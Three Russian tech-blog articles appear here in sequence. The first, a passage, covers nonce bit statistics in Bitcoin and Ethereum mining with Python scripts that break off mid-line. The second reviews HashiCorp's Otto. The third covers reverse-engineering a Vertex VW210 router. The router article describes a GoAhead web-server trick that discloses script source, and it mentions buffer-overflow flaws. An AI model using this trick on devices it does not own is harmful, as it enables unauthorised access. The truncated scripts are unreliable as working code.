0.49 0.46 0.51 0.42 0.57 0.45 0.45 0.35 0.53 0.42 0.51 0.52 0.47 0.51 0.47 0.45 0.48 0.49 0.54 0.48 0.50 0.49 0.46 0.56 0.44 0.48 0.47 0.55 0.46 0.45 0.51 0.50
0.51 0.45 0.52 0.50 0.59 0.41 0.50 0.34 0.47 0.54 0.56 0.48 0.54 0.49 0.54 0.44 0.49 0.48 0.50 0.58 0.44 0.48 0.51 0.47 0.37 0.45 0.47 0.47 0.50 0.52 0.46 0.43
0.51 0.43 0.52 0.57 0.58 0.51 0.47 0.36 0.51 0.44 0.47 0.47 0.49 0.47 0.43 0.39 0.47 0.50 0.56 0.46 0.47 0.47 0.46 0.63 0.48 0.43 0.44 0.46 0.43 0.51 0.45 0.49
0.49 0.49 0.40 0.49 0.53 0.53 0.49 0.50 0.47 0.50 0.41 0.55 0.48 0.48 0.49 0.46 0.54 0.51 0.49 0.55 0.53 0.48 0.50 0.53 0.50 0.41 0.45 0.42 0.41 0.47 0.44 0.51
0.47 0.47 0.47 0.58 0.52 0.42 0.53 0.53 0.59 0.55 0.43 0.48 0.50 0.42 0.46 0.50 0.52 0.53 0.43 0.48 0.58 0.44 0.43 0.42 0.54 0.42 0.58 0.42 0.39 0.45 0.46 0.56
0.51 0.47 0.45 0.38 0.48 0.51 0.39 0.48 0.50 0.57 0.52 0.54 0.54 0.46 0.67 0.47 0.53 0.54 0.48 0.53 0.57 0.55 0.46 0.54 0.43 0.53 0.49 0.37 0.60 0.46 0.50 0.49
0.45 0.46 0.47 0.46 0.47 0.51 0.41 0.53 0.59 0.45 0.51 0.43 0.49 0.46 0.46 0.55 0.52 0.51 0.56 0.51 0.49 0.46 0.45 0.49 0.50 0.55 0.48 0.54 0.44 0.49 0.59 0.49
0.39 0.46 0.53 0.43 0.42 0.54 0.49 0.46 0.52 0.56 0.38 0.46 0.47 0.56 0.60 0.46 0.50 0.59 0.39 0.57 0.50 0.55 0.44 0.54 0.45 0.47 0.52 0.53 0.45 0.41 0.47 0.42
0.48 0.46 0.49 0.45 0.52 0.43 0.43 0.46 0.43 0.52 0.53 0.50 0.52 0.61 0.43 0.51 0.56 0.51 0.57 0.48 0.51 0.48 0.61 0.52 0.52 0.54 0.42 0.45 0.48 0.49 0.46 0.48
0.55 0.46 0.50 0.47 0.42 0.40 0.34 0.58 0.52 0.50 0.45 0.45 0.55 0.48 0.41 0.47 0.47 0.46 0.49 0.53 0.50 0.57 0.41 0.58 0.38 0.55 0.47 0.43 0.43 0.43 0.51 0.51
0.39 0.49 0.56 0.45 0.45 0.51 0.42 0.49 0.45 0.51 0.48 0.44 0.48 0.45 0.53 0.47 0.53 0.45 0.48 0.42 0.54 0.51 0.47 0.59 0.49 0.37 0.48 0.47 0.43 0.44 0.47 0.40
0.42 0.38 0.56 0.45 0.61 0.42 0.49 0.45 0.52 0.49 0.55 0.44 0.46 0.43 0.50 0.47 0.51 0.47 0.58 0.51 0.55 0.45 0.56 0.47 0.52 0.53 0.42 0.47 0.49 0.47 0.50 0.51
0.49 0.49 0.49 0.57 0.52 0.48 0.44 0.38 0.50 0.48 0.50 0.52 0.44 0.48 0.46 0.43 0.51 0.52 0.53 0.50 0.44 0.46 0.46 0.46 0.39 0.49 0.52 0.38 0.42 0.53 0.52 0.49
0.48 0.42 0.44 0.51 0.54 0.49 0.48 0.43 0.50 0.44 0.41 0.45 0.54 0.54 0.49 0.42 0.52 0.45 0.44 0.55 0.51 0.54 0.46 0.59 0.51 0.49 0.51 0.41 0.44 0.42 0.49 0.52
0.42 0.41 0.45 0.48 0.45 0.50 0.36 0.50 0.51 0.48 0.45 0.61 0.45 0.52 0.49 0.52 0.45 0.47 0.47 0.57 0.48 0.52 0.54 0.46 0.54 0.54 0.56 0.51 0.39 0.41 0.59 0.55`
Здесь каждая колонка — это вероятность появления единицы в соответствующей позиции бита нонсе.
Например, обратите внимание на колонку, представляющую бит1, бит6 и бит7 нонсе:
Математическое ожидание 0.459, 0.446 и 0.458.
Теперь остается как-то отобразить получившуюся статистику в виде графиков. Для этого у меня есть другой скрипт plot.py
```
import sys
import os
import numpy as np
import matplotlib.mlab as mlab
import matplotlib.pyplot as plt
folder=""
#--------------------------------
args = sys.argv
if len(args)<2:
print("Error: need argument name of folder with list of nonces")
exit()
folder=args[1]
print( "Working on \"" + folder +"\"" )
if os.path.isdir(folder)==False:
print("Error: folder \""+folder+"\" does not exist")
exit()
stat_N=0
stat=[]
def init_stat():
global stat
global stat_N
stat_N=0
i=0
while i<64:
stat.append([])
i=i+1
def draw_stat(start_bit,ax=None):
print("draw_stat ",start_bit)
save_single=0
if ax is None:
fig = plt.figure( figsize=(16,9))
ax = fig.gca()
save_single=1
ax.set_yticks( np.arange( 0.0, 1.0, 0.1 ) )
plt.title("Probability of specific bit in nonce")
plt.ylabel("Probability")
plt.xlabel("Every X-point presents group nonces averaged")
plt.ylim(0.0,1.0)
plt.grid()
i=0
while i<8:
color="#"
if i&1:
color=color+"FF"
else:
color=color+"00"
if i&2:
color=color+"FF"
else:
color=color+"00"
if i&4:
color=color+"FF"
else:
color=color+"00"
if i==7:
color="#A0A0A0"
ax.plot(stat[start_bit+i],color,label="bit"+str(start_bit+i) )
i=i+1
ax.legend(loc="upper left",ncol=2)
#plt.show()
if save_single :
plt.savefig(folder+"/bit"+str(start_bit)+"-"+str(start_bit+7)+".png",dpi=300)
def draw_hist(start_bit,ax=None):
print("draw_hist ",start_bit)
save_single=0
if ax is None:
fig = plt.figure( figsize=(16,9))
ax = fig.gca()
save_single=1
ax.set_xticks( np.arange( 0.0, 1.0, 0.1 ) )
x=np.arange( 0.0, 1.0, 0.05 )
plt.title("Probability Density of specific bit in nonce")
plt.ylabel("Density")
plt.xlabel("Probability")
plt.grid()
i=0
max_val=0
while i<8:
histogram=[0]*20
k=0
stat_column=stat[start_bit+i]
n=len(stat_column)
while k
```
Теперь настало время рассмотреть эти графики. Если отобразить их все 32 на одной странице получится малопонятная каша. Поэтому скрипт строит 4 графика и каждый отображает статистику 8 бит. Так будет удобнее рассмотреть.
Приведу здесь всё:
Видно, что некоторые биты в нонсе биткоина не равновероятны в своем значении и графики смещены вниз. Значит значение бита все же немного более вероятно ноль, чем единица. Ниже графики распределения вероятности.
Здесь видно все то же — в среднем вероятность значения некоторых битов в найденых голден нонсе биткоина не равно 0.5, как я ожидал, но скорее смещено в сторону нуля. Особенно выделяются биты 1, 15, 22. С чем это связано, к сожалению не могу сказать. Тем не менее этот факт позволяет задуматься о перераспределении мощности майнеров по диапазонам значений более вероятных. Например, вот так: есть сто аппаратных майнеров (видеокарт или асиков), 65 майнеров отправляем на поиск нонсе со значениями бита 22 равному нулю и 35 майнеров майнят в диапазонах со значением бита 22 равным единице. Далее каждый выделенный диапазон можно разбить на более мелкие поддиапазоны согласно вероятности бита 15… и так далее. Идея в том, чтобы искать голден нонсе в более вероятных диапазонах сообразно последней накопленной статистике.
Далее возникла идея посмотреть статистику глубже, не только по 2000 последним блокам, но по всей истории блокчейна биткоина. Весь блокчейн уже почти 200Гигабайт, так что тут уже присутствуют все набившие оскомину термины «биткоин, блокчейн, бигдата».
Установил кошелек биткоина и выкачал весь блокчейн.
Далее использовал [такой проект](https://github.com/alecalve/python-bitcoin-blockchain-parser).
Этот проект позволяет скрипту на питоне пройтись по всему блокчейну и извлечь интересующие нас данные.
Немного изменил скрипт из примера, чтобы он писал статистику в текстовый файл. Теперь весь диапазон блоков около 530 тысяч разбит на группы по 1000 блоков. В каждом блоке смотрю среднюю вероятность значения бита нонсе.
```
import sys
sys.path.append('..')
from blockchain_parser.blockchain import Blockchain
stat_N=0
stat=[]
def init_stat():
global stat
global stat_N
stat_N=0
i=0
while i<32:
stat.append(0)
i=i+1
def clear_stat():
global stat
global stat_N
stat_N=0
i=0
while i<32:
stat[i]=0
i=i+1
def add_stat(nonce):
global stat
global stat_N
stat_N=stat_N+1
i=0
while i<32:
if nonce & (1<
```
Этот скрипт так же генерирует файл статистики вероятности бита нонсе по всей истории блокчейна биткоин. Получается довольно интересная картина.
Вот как менялась со временем вероятность битов нонсе с нулевого по пятнадцатый:
А вот с шестнадцатого по тридцать первый бит нонсе:
Здесь каждая точка по горизонтали — это одна тысяча блоков в блокчейне и по этой тысяче считается средняя вероятность появления единицы в битовой позиции нонсе.
Честно говоря даже не знаю, как это можно прокомментировать. Временами биты в нонсе ой как не равновероятны. А если это так, то почему майнеры до сих пор просто перебирают нонсе? Возможно ли распределять мощности майнеров согласно найденой закономерности?
Если Вам интересны подобные изыскания, то можно еще почитать другие мои статьи:
1. [Вероятностный метод майнинга Bitcoin](https://habr.com/post/420131/)
2. [Можно ли вычислять биткоины быстрее, проще или легче?](https://habr.com/post/318174/)
3. [Майнер Bitcoin на плате Марсоход3](https://marsohod.org/projects/proekty-dlya-platy-marsokhod3/340-miner-bitcoin)
UPDATE:
Я сделал дополнительное исследование по Ethereum. Картина еще интересней.
Если посмотреть ранее найденые нонсе, то невооруженным глазом видно неравномерное распределение:
`5844149 0xb431dfa**80**61eedc5
5844150 0xac0badf**80**082e518
5844151 0x64404b0**00**042af4f
5844152 0x96d84c7**bd**66ae434
5844153 0xa6dd55a**00**0364353
5844154 0x516a29f**00**5a56197
5844155 0x4c0a100**00**06d50aa
5844156 0x9e61733**80**6e46e10
5844157 0x8191b4d**80**925a334
5844158 0x53a42df**80**0b24a72
5844159 0x9eb85a3**c0**031e03b
5844160 0xb707255**40**5787b53
5844161 0xbf6bd50**01**1069dc9
5844162 0x8317143**01**53262b1
5844163 0x2e1c8a3**02**ad94fc2
5844164 0x84c9711**80**db7252e
5844165 0x47d606ф**00**110d3bb
5844166 0x7b1f78b**c1**27bb7cb`
Хэш алгоритм эфира сложнее, чем у биткоина.
Нонсе эфире 64х разрядное. Середина нонсе (биты 28-36) почти пустая. При этом в исходниках майнера что для Nvidia Cuda, что для AMD OpenCL вроде бы нет никаких указаний, чтобы нонсе подбиралось сходясь в середине — идет равномерное наращивание от нуля и далее до 0xFFFFFFFFFFFFFFFF.
Вот распределение вероятности битов нонсе эфира:
 | https://habr.com/ru/post/421499/ | null | ru | null |
# Знакомимся с Otto, наследником Vagrant
[Otto](https://www.ottoproject.io) — это новый продукт от Hashicorp, логический наследник Vagrant, призванный упростить процесс разработки и деплоя программ в современном мире облачных технологий. Концептуально новый подход к проблеме, проверенные технологии под капотом и открытый исходный код. Персональный DevOps ассистент разработчика.
#### Введение
Первый продукт Митчелла Хашимото, основателя [Hashicorp](https://hashicorp.com) — всем хорошо известный [Vagrant](https://www.vagrantup.com) — положил начало целой цепочке качественных продуктов по автоматизации процессов разработки и деплоя программ. [Packer](https://www.packer.io/) помогает создавать финальные образы виртуальных машин, будь это VirtualBox, Docker или Google Cloud. [Terraform](https://www.terraform.io/) создаёт и выносит на уровень конфигурации сложнейший процесс построения целых инфраструктур в облаке, тоже без привязки к конкретному провайдеру. [Consul](https://www.consul.io/) и [Serf](https://www.serfdom.io/) отвечают за коммуникации в облаке — обнаружение сервисов, мониторинг падений и так далее. [Vault](https://www.vaultproject.io/) является надёжным распределенным хранилищем секретов, паролей и чувствительных данных, с возможностью аудита, контроля доступа и отзыва ключей.
Все эти продукты с открытым исходным кодом, очень качественно написаны, отлично документированы, просты в установке, поскольку написаны на Go, обладают интуитивным интерфейсом и API и хорошо делают те задачи, для которых создавались. Если их правильно использовать, то в связке они очень облегчают жизнь современному разработчику, который работает с микросервисами, облаками, виртуальными машинами и контейнерами.
Разработчикам больше не нужно быть devops-профи, чтобы выполнять простые вещи в облаке — вышеприведенные программы стараются забрать основную головную боль на себя и/или переложить её на отдельный devops-отдел. Но всё-таки, это 6 отдельных программ, которые всё-равно нужно осваивать, читать документацию и изучать. Это приводит к тому, что всё равно самым распространенным способом деплоя в облако того или иного стека остаётся старый добрый копипаст из первых страниц выдачи Google на запрос «как задеплоить [ruby/php/etc] на [aws/gae/do/etc]».
Более того, будь то копипаст или написанный кем-то Packer/Terraform-конфиг или Vagrantfile — все они рано или поздно устаревают, по мере смены версий, изменении URL-ов, переходу на новые протоколы и так далее. Плюс, пользователи Vagrant с самых первых версий просят добавить возможность деплоить приложение. Но Vagrantfile это совсем другой уровень абстракции, чтобы описывать подобные вещи.
Всё это привело Hashicorp к пониманию, что нужен новый подход к проблеме.
#### Codification vs. Fossilization
Не знаю, как правильно эти термины перевести, но пусть будет «кодирование» против «мумификации». Мне посчастливилось быть на [презентации](http://meetup.com/es/DigitalOcean_Community/events/225612112/) Otto (и [Nomad](http://nomadproject.io), шедулера от Hashicorp) в офисе DigitalOcean в Нью-Йорке, буквально через пару дней после анонса обоих продуктов на конференции Hashiconf, и именно этими терминами Хашимото описывал основную идею Otto и концептуальное отличие его от Vagrant.
То, что делает Vagrant, Packer и Terraform — это «мумификация» среды разработчика. Вы прописываете все необходимое для разработки вашей программы, все настройки, ссылки и команды, и это гарантирует, что даже через 10 лет, любой разработчик сможет поднять ту же среду разработки, что и сейчас, один в один.
Но что, если через 10 лет, URL-ы, откуда тянется нужный компилятор или фреймворк, уже изменились? Или мир перешёл на новый протокол YTTP3? Все должны обновлять свои Vagrant-файлы. Сейчас Packer знает, как заливать образ на Amazon и DigitalOcean и как создавать VPC, вы это внимательно прописали, но что, если через год Amazon поменяет API, введёт новую модель безопасности внутри сетей или добавит ещё какие-нибудь новшества, которые автоматически делают ваш Packer/Terraform-файл устаревшим?
Otto предлагает концептуально новый подход к вопросу и это «кодирование» процесса создания среды разработки и деплоя. Вы говорите otto, что вы хотите («мое приложение на Go и должно запускаться на AWS, общаться с mysql-базой и смотреть наружу на порту таком-то») и otto дальше делает всю магию за вас, зная, лучше большинства, как это делать правильно.
Звучит пугающе? Давайте разберемся подробнее.
#### Подробности
Под капотом otto использует тот же Vagrant, Packer, Terraform, Consul и Vault, и, фактически, избавляет вас от надобности даже знать про их существование. Если что-то не установлено — otto в удобной форме сам спросит, скачать ли их и установить за вас или нет.
Далее, стандартный workflow очень похож на работу с Vagrant:
* otto compile
* otto dev
* otto dev ssh
Otto использует только один файл — **Appfile**, который для простых случаев даже не обязателен, так как otto умеет, к примеру, угадывать тип проекта. Формат файла — хашикорповский HCL, который легко читается и пишется. Пример Appfile:
```
application {
name = "otto-getting-started"
type = "ruby"
}
project {
name = "otto-getting-started"
infrastructure = "otto-getting-started"
}
infrastructure "otto-getting-started" {
type = "aws"
flavor = "simple"
}
```
Этап «компиляции» (*otto compile*) читает Appfile и (пере)создает поддиректорию *.otto*, которая выглядит примерно так:
Это важный момент, который отражает отличие «кодирования» от «мумификации». Каждый раз когда будет меняться Appfile или обновляться otto — команда `*otto compile*` будет обновлять все эти подкапотные внутренности, создавая нужную конфигурацию для Vagrant, Packer и Terraform. Если изменились «лучшие практики» того, как устанавливать зависимости и подготавливать среду — то на этапе компиляции ваша otto-среда будет обновлена. Если же не запускать команду compile, otto будет работать с уже скомпилированной версией Appfile.
Этап подготовки среды — *otto dev* — фактически заменяет собой *vagrant init и vagrant up*. Поднимается виртуальная машина (пока что только Ubuntu hashicorp/precise64, но в будущем OS будет также на выбор), настраивается сеть, SSH-ключи, устанавливаются зависимости и необходимые пакеты — вобщем, вся магия, которая даёт возможность любому новоприбывшему в проект разработчику выполнить простую команду `*otto dev ssh*` и попасть в готовую среду разработки.
Когда программа готова, otto может взять на себя и задачу по деплою приложения в облако. Разработчику теперь не обязательно знать все тонкости настройки веб-серверов, виртуальных приватных сетей и прочих подробностей. Цикл деплоя с otto состоит из трех шагов — построения инфраструктуры, билда имиджа приложения и, собственно, деплоя:
* otto infra
* otto build
* otto deploy
Под «инфраструктурой» тут подразумевается все ресурсы, связанные с каждым конкретным провайдером облачных сервисов. `*otto infra*` создает подсети, настраивает роутинги, bastion-хосты, gateways, VPC и прочее, о чём обычно нужно читать много и долго, чтобы вообще понять, как оно работает. Otto забирает весь этот груз на себя — он «знает», как работать со всем этим и делает наиболее оптимальным образом, с соблюдением всех best practices. Различные варианты инфраструктур называются «flavors» и описывают разные варианты — «простая машина в облаке с доступом по SSH», «приватная сеть с IP смотрящим наружу» и т.д. Под капотом этим всем занимается Terraform.
Дальнейшие шаги — *`otto build` и `otto deploy`* — собирают образ, готовый для запуска в облаке и запускают инстанс. Это может быть AMI или Docker-контейнер, или что-нибудь ещё, что otto будет поддерживать в будущем.
Вот так просто. Теперь, даже дизайнер веб-сайта на PHP может синхронизировать проект, запустить otto, и запустить сайт в облаке, без единого знания, как это устроено и как работает.
Ну и последнее, в типичном workflow разработчика — команда `destroy`.
* otto deploy destroy
* otto infra destroy
* otto dev destroy
Ещё раз хочу сделать акцент на том, что otto будет развиваться по мере того, как развиваются и меняются облачные технологии, языки и фреймворки, но последовательность действий и алгоритм работы с otto будет оставаться неизменным.
#### Микросервисы
Современные приложения для облака часто используют архитектуру микросервисов в той или иной форме, и каждое приложение зачастую зависит от других и может быть очень сложно поднять все зависимости правильно. Otto тоже старается забрать на себя этот вопрос, и использует понятие зависимостей (dependencies), которые прописываются в Appfile и имеют вид URL на зависимость, представляющую собой тоже проект otto. К примеру, если в проекте есть зависимость на MongoDB:
```
application {
name = "otto-getting-started"
type = "ruby"
dependency {
source = "github.com/hashicorp/otto/examples/mongodb"
}
}
```
Залогинившись в свое dev-окружение, мы сможем обратиться к mongodb по DNS адресу `**mongodb.service.consul**`.
Всё это должно в теории очень упростить разработку сервисов, у которых есть много непростых зависимостей.
#### Текущие ограничения
Otto вышел всего неделю назад, находится в версии 0.1, и пока что много чего не поддерживает. На данный момент реализована поддержка (магия тоесть) для Go, PHP, Docker (для зависимостей), Node.js и Ruby, хотя тоже ещё очень ограничено. Деплоймент пока поддерживается только для Amazon, но вскоре будут добавлены и другие провайдеры. Тут можно быть оптимистами, так как otto сам по себе этим не занимается, а использует Terraform и Packer, в котором поддерживаются Azure, CloudFlare, DigitalOcean, GAE, Heroku, OpenStack и потенцально много чего ещё.
Везде есть возможность указывать свои кастомные Vagrantfile или Terraform-конфиги, что делает otto очень легко расширяемым и применимым даже для очень нестандартных и изощренных схем.
#### Выводы
На момент написания статьи otto — ещё диковинка, хоть и использующая под капотом достаточно хорошо проверенные временем инструменты. Насколько сама идея otto — *магического DevOps-ассистента для разработчиков* — себя зарекомендует, покажет время.
Лично у меня деятельность Hashicorp давно уже оставляет одно впечатление — они знают что делают, и медленно, но уверенно двигаются к этой цели. Митчелл говорил в выступлении, что идея Otto была у него давно, но он понимал, что такого уровня проект не создать с нуля. Поэтому год за годом готовил почву, кубики для её реализации. Кстати, [nomad](http://nomadproject.io) — тоже один из таких кубиков, и очень скоро будет также поддерживаться в otto.
Более того, разработка ведётся очень активно, код у Hashicorp очень качественный, о продуктивности Хашимото в народе слагают легенды, и последние несколько лет ребята показывали впечатляющий прогресс. Hashicorp создают целую экосистему для удобства работы в облаке.
Так что держите руку на пульсе.
#### Ссылки
У Otto отличный сайт и документация: [www.ottoproject.io](https://www.ottoproject.io)
Сайт Hashicorp: [hashicorp.com](https://hashicorp.com) | https://habr.com/ru/post/268497/ | null | ru | null |
# Vertex Wireless VW210: редкий роутер и его внутренний мир
> Лирическое отступление: всё описанное в данной статье производилось исключительно в образовательных целях, цели извлечения материальной выгоды не преследовалось, ни одного котика в процессе (надеюсь) не пострадало. Всё, что здесь описано вы повторяете на свой страх и риск.
*КДПВ курильщика (для тех, у кого дорогой трафик)*
Несколько лет в глухой деревне трудится, не покладая рук, этот неуловимый Джо сетевой промышленности. Выбор пал на него, благодаря поддержке единственно рабочего решения для данной местности, а именно CDMA 450 от местного оператора «Сотел» (аля SkyLink). В отличии от других роутеров/модемов для данного стандарта того времени он единственный позволил добиться устойчивой связи с помощью ~~какой-то матери и~~ направленной антенны. Но вот беда: [сайт производителя](http://www.vwireless.co.kr/) (а возможно и он сам) исчез с горизонта этих наших интернетов в далёком 2011 году. Осталось лишь [пафосное видео](https://www.youtube.com/watch?v=QhP5NAed3M0) на YouTube и упоминания их продуктов у разномастных продавцов и операторов.
*КДПВ для ни в чём не ограничивающих себя читателей, хотя какое уж тут привлечение внимания, если вы уже здесь.*
> Все последующие изображения кликабельны (кроме сказочного персонажа)
#### Мотивация
Вместе с сайтом и производителем покинули этот бренный мир и любые надежды на получение файлов прошивки и уж тем более открытия её исходных кодов, несмотря на требования GPL. Идея же получить более полный доступ к системе, чем это позволяет веб-интерфейс, появилась в голове давно и не давала покоя шаловливым рукам. А, благодаря [вопросу на тостере](https://toster.ru/q/45900) (оригинальная страница приказала долго жить, но оставила след в [веб-архиве](https://web.archive.org/web/20140930111729/https://toster.ru/q/45900)) от ув. [Nomad1](https://habr.com/ru/users/nomad1/) и вопреки его совету выкинуть данное недоразумение сетевой промышленности, незамедлительно было приведено в исполнение. На самом деле спасибо этому хабраюзеру и за первое, и за второе, т.к. это был прям вызов, после которого я с криком «Слабоумие и отвага!» пошёл в неравный бой с корейской технологической машиной образца 2009 года.
#### Софт
Первым делом я начал изучать веб-интерфейс, а точнее его внутренний мир. Благодаря дыре в использованной версии встраиваемого веб-сервера GoAhead, получилось скачивать исходный код страниц, добавляя к основной ссылке "/". Например по ссылке <http://192.168.200.1/html/log.asp> открывался результат работы скрипта log.asp, а по <http://192.168.200.1/html/log.asp/> — исходный файл скрипта log.asp. Небольшим скриптом на баше было вытащено всё, что хоть как-то упоминалось в скриптах, но после анализа добытого стало понятно, что этой информации явно не достаточно для взлома.
Благодаря другой [уязвимости](https://www.exploit-db.com/exploits/21707/) в том же GoAhead, можно было выполнить код при переполнении буфера, но для этого нужно было получить информацию об адресе, куда передавать управление, а в отсутствии доступа к системе стек вызовов при падении не получить.
Помимо 2-х уязвимостей в веб-сервере были найдены уязвимости в реализации uPnP сервера, которые приводили к переполнению буфера и выполнению кода, но их эксплуатация тоже требовала доступа к системе роутера.
#### Железо
Распрощавшись с надеждами на программный взлом, я перешёл к изучению железной части.
Железная часть роутера представляет из себя бутерброд из двух плат: модем и интерфейсы (сверху на фото) и процессорный блок (снизу на фото):
[](https://habrastorage.org/web/2bf/383/efc/2bf383efc57849f19cacc933e7b3066e.png)
На обратной стороне процессорной части находится разъём mini-PCI в котором мирно покоится плата Wi-Fi:
[](https://habrastorage.org/web/d8b/7ac/112/d8b7ac112bb94b90957469085c5ee2fb.png)
Первичный осмотр пациента показал, что основными узлами данного устройства являются:
* Qualcomm MSM6801A — процессор модема
* Micrel KSZ8692PB — система на чипе (SoC) с сетью, PCI и другой полезной нагрузкой
[](https://habrastorage.org/web/84a/b65/1ea/84ab651eac474e0f8294b606238ebe1a.png)
Так как ~~самую большую микросхему~~ SoC мы выявили, нужно думать с какой стороны к ней подобраться. К сожалению, по какому-то нелепому совпадению, Micrel ушёл в закат также как и Vertex Wireless. Поиски хоть какой-то документации по данному чипу заводили в тупики на форумах, где инженера возмущались закрытости спецификаций и вообще на отсутствие документации в открытом доступе, на что милые менеджеры их приглашали обсудить это тет-а-тет. Но на помощь пришла [The Wayback Machine](http://web.archive.org/), благодаря которой всё таки удалось завладеть [документацией и прочими вкусностями](http://web.archive.org/web/20130118011855/http://micrel.com/_PDF/Ethernet/sw_designkit/8692/) для данного чипа.
#### UART
После изучения добытой документации стало понятно, что у нашего нового друга есть UART-интерфейсы в количестве 4-х штук, а также JTAG. Один из UART'ов скорее всего используется как отладочная консоль. Запустив терминал,
```
$ minicom -D /dev/ttyUSB0 -b 115200
```
я начал тыкать иглой, подключенной к конвертеру TTL-USB, в площадки отладочных точек на плате, периодически отправляя в перезагрузку роутер. И вот на очередной точке побежали в консоли заветные буковки… а на соседней буковки ответов. Это оказался UART для общения SoC с модемом. Теоретически лог обмена с модемом тоже представляет некоторый интерес, особенно учитывая отсутствие внятной документации на творение Qualcomm'а в свободном доступе, но у нас пока несколько другая цель.
Точки же UART'а отладочной консоли оказались с обратной стороны платы и закрывались второй платой «бутерброда», поэтому на их обнаружение ушло чуть больше времени.
[](https://habrastorage.org/web/265/8aa/018/2658aa018ba7439da2abed9f86eeb161.png)
Подпаиваемся к заветным контактам:
[](https://habrastorage.org/web/8c4/c91/dfe/8c4c91dfe7e94f0f809906211bdae22f.png)
**Лог загрузки**
```
U-Boot 1.1.4 (November 6, 2008)
DRAM: 64 MB
Flash: 4 MB
In: serial
Out: serial
Err: serial
## Booting image at 1c040000 ...
Image Name: Kernel-Ramdisk-Image
Image Type: ARM Linux Multi-File Image (uncompressed)
Data Size: 3338960 Bytes = 3.2 MB
Load Address: 00008000
Entry Point: 00008000
Contents:
Image 0: 1609588 Bytes = 1.5 MB
Image 1: 1729360 Bytes = 1.6 MB
Verifying Checksum ... OK
OK
Relocate RAMDISK from 0x1c1c8fc0 to 0xc00000 by 0x1a6350 bytes
Starting kernel ...
Uncompressing Linux.......................................................................................................... done, booting the kernel.
Linux version 2.6.23.17-Pegasus (gcc version 4.2.1)
CPU: ARM922T [41029220] revision 0 (ARMv4T), cr=c0007177
Machine: Micrel Pegasus
Memory policy: ECC disabled, Data cache writeback
Pegasus ID=8692 SubID=00 Revision=02
Clocks: System 166 MHz, CPU 166 MHz, DDR 166 MHz, PCI 33 MHz, IPsec 50 MHz
CPU0: D VIVT write-back cache
CPU0: I cache: 8192 bytes, associativity 64, 32 byte lines, 4 sets
CPU0: D cache: 8192 bytes, associativity 64, 32 byte lines, 4 sets
Built 1 zonelists in Zone order. Total pages: 16256
Kernel command line: console=ttyAM0,115200
PID hash table entries: 256 (order: 8, 1024 bytes)
console [ttyAM0] enabled
Dentry cache hash table entries: 8192 (order: 3, 32768 bytes)
Inode-cache hash table entries: 4096 (order: 2, 16384 bytes)
Memory: 64MB = 64MB total
Memory: 59756KB available (3028K code, 259K data, 128K init)
Mount-cache hash table entries: 512
CPU: Testing write buffer coherency: ok
NET: Registered protocol family 16
PCI: bus0: Fast back to back transfers disabled
usbcore: registered new interface driver usbfs
usbcore: registered new interface driver hub
usbcore: registered new device driver usb
NET: Registered protocol family 2
Time: pegasus clocksource has been installed.
IP route cache hash table entries: 1024 (order: 0, 4096 bytes)
TCP established hash table entries: 2048 (order: 2, 16384 bytes)
TCP bind hash table entries: 2048 (order: 1, 8192 bytes)
TCP: Hash tables configured (established 2048 bind 2048)
TCP reno registered
Freeing initrd memory: 1688K
reset button handler is loaded
NetWinder Floating Point Emulator V0.97 (double precision)
NTFS driver 2.1.28 [Flags: R/O].
JFFS2 version 2.2. (NAND) �� 2001-2006 Red Hat, Inc.
io scheduler noop registered
io scheduler deadline registered (default)
LED device driver is installed
Serial: Micrel Pegasus UART driver version: 2.6.1.0
ttyAM0 at MMIO 0x1fffe000 (irq = 45) is a Pegasus
ttyAM1 at MMIO 0x1fffe080 (irq = 49) is a Pegasus
ttyAM2 at MMIO 0x1fffe100 (irq = 52) is a Pegasus
ttyAM3 at MMIO 0x1fffe180 (irq = 55) is a Pegasus
RAMDISK driver initialized: 16 RAM disks of 16384K size 1024 blocksize
PPP generic driver version 2.4.2
PPP Deflate Compression module registered
PPP BSD Compression module registered
IMQ starting with 2 devices...
IMQ driver loaded successfully.
Hooking IMQ after NAT on PREROUTING.
Hooking IMQ before NAT on POSTROUTING.
30 = ffff ffff
Micrel Pegasus 1.0.0 (Oct 7, 2008)
physmap platform flash device: 00400000 at 1c000000
physmap-flash.0: Found 1 x16 devices at 0x0 in 16-bit bank
Amd/Fujitsu Extended Query Table at 0x0040
physmap-flash.0: CFI does not contain boot bank location. Assuming top.
number of CFI chips: 1
cfi_cmdset_0002: Disabling erase-suspend-program due to code brokenness.
cmdlinepart partition parsing not available
RedBoot partition parsing not available
Using physmap partition information
Creating 4 MTD partitions on "physmap-flash.0":
0x00000000-0x00030000 : "Boot Loader"
0x00030000-0x00040000 : "Loader Config"
0x00040000-0x003e0000 : "Linux RootFS"
0x003e0000-0x00400000 : "System Config"
pegasus-ehci pegasus-ehci: Pegasus-EHCI
pegasus-ehci pegasus-ehci: new USB bus registered, assigned bus number 1
pegasus-ehci pegasus-ehci: irq 8, io mem 0x1fffc000
pegasus-ehci pegasus-ehci: USB 0.0 started, EHCI 1.00, driver 10 Dec 2004
usb usb1: Product: Pegasus-EHCI
usb usb1: Manufacturer: Linux 2.6.23.17-Pegasus ehci_hcd
usb usb1: SerialNumber: KS8692
usb usb1: configuration #1 chosen from 1 choice
hub 1-0:1.0: USB hub found
hub 1-0:1.0: 2 ports detected
pegasus-ohci pegasus-ohci: new USB bus registered, assigned bus number 2
pegasus-ohci pegasus-ohci: irq 9, io mem 0x1fffd000
usb usb2: Product: Pegasus-OHCI
usb usb2: Manufacturer: Linux 2.6.23.17-Pegasus ohci_hcd
usb usb2: SerialNumber: ks8692
usb usb2: configuration #1 chosen from 1 choice
hub 2-0:1.0: USB hub found
hub 2-0:1.0: 2 ports detected
usbcore: registered new interface driver cdc_acm
cdc_acm: v0.26:USB Abstract Control Model driver for USB modems and ISDN adapters
usbcore: registered new interface driver usbserial
drivers/usb/serial/usb-serial.c: USB Serial support registered for generic
usbcore: registered new interface driver usbserial_generic
drivers/usb/serial/usb-serial.c: USB Serial Driver core
Using Pegasus for AES algorithm.
Using Pegasus for DES algorithm.
u32 classifier
Performance counters on
nf_conntrack version 0.5.0 (1024 buckets, 4096 max)
IPv4 over IPv4 tunneling driver
GRE over IPv4 tunneling driver
ip_tables: (C) 2000-2006 Netfilter Core Team
TCP cubic registered
NET: Registered protocol family 1
NET: Registered protocol family 17
NET: Registered protocol family 15
Bridge firewalling registered
RAMDISK: Compressed image found at block 0
VFS: Mounted root (ext2 filesystem).
Freeing init memory: 128K
Setting hostname ...
Mounting root fs rw ...
Mounting other filesystems ...
checksum f0d68bc4, tmp_checksum f0d68bc4
flash : Read from flash memory...
sysconf read 0x40070000
Checksum is f0d68bc4
flash : Wrote to flash memory...
